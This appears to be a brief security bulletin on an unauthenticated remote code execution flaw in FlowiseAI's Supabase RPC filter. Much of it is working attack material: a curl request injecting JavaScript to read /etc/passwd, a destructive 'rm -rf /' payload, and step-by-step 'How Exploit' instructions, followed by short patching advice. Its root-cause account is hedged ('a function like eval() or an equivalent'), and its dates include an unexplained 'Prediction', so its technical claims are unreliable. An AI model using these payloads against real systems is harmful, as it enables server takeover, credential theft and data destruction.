Listen to this Post
The CVE in FlowiseAI stems from a lack of input sanitization within the “Supabase RPC Filter” component. This feature allows users to construct database queries by providing filter conditions. However, the application passes user-supplied input from this field directly to a function like `eval()` or an equivalent code evaluation mechanism without proper validation. Since the application lacks authentication checks (pre-auth), an unauthenticated attacker can send a crafted HTTP POST request containing malicious JavaScript code within the “supabaseRpcFilter” parameter. The server-side code executes this payload with the privileges of the application process, leading to full remote command execution on the underlying host. This vulnerability allows an attacker to compromise the server completely.
Platform: FlowiseAI
Version: <= 3.0.4
Vulnerability : RCE
Severity: Critical
date: 2024-10-17
Prediction: 2024-10-31
What Undercode Say:
curl -X POST http://target:3000/api/v1/nodes/execute -H "Content-Type: application/json" -d '{"nodeType":"Supabase","supabaseRpcFilter":"() => { return require('child_process').execSync('cat /etc/passwd') }"}'
// Malicious payload for the supabaseRpcFilter parameter
() => { process.mainModule.require('child_process').exec('rm -rf /', (error, stdout, stderr) => {}) }
How Exploit:
Craft malicious filter payload.
Send unauthenticated POST request.
Execute system commands.
Protection from this CVE
Update FlowiseAI version.
Sanitize user inputs.
Disable eval/dynamic execution.
Implement authentication.
Impact:
Full System Compromise
Arbitrary Code Execution
Data Breach
Service Disruption
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
